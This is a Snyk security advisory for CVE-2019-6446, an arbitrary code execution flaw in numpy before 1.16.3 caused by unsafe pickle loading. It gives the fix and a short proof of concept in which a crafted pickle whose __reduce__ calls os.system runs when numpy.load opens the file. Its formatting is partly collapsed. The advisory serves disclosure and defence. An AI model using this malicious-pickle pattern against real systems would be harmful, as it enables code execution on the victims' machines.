Arbitrary Code Execution Affecting numpy package, versions [0,1.16.3)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
2.61% (91st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-NUMPY-73513
  • published16 Jan 2019
  • disclosed16 Jan 2019
  • creditnanshihui

Introduced: 16 Jan 2019

CVE-2019-6446  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade numpy to version 1.16.3 or higher.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Arbitrary Code Execution. It uses the pickle Python module unsafely, which allows remote attackers to execute arbitrary code via a crafted serialized object, as demonstrated by a numpy.load call.

PoC by nanshihui:

import numpy
from numpy import __version__
print __version__
import os
import  pickle
class Test(object):
    def __init__(self):
        self.a = 1

def __reduce__(self):
    return (os.system,('ls',))

tmpdaa = Test() with open("a-file.pickle",'wb') as f: pickle.dump(tmpdaa,f) numpy.load('a-file.pickle')

CVSS Scores

version 3.1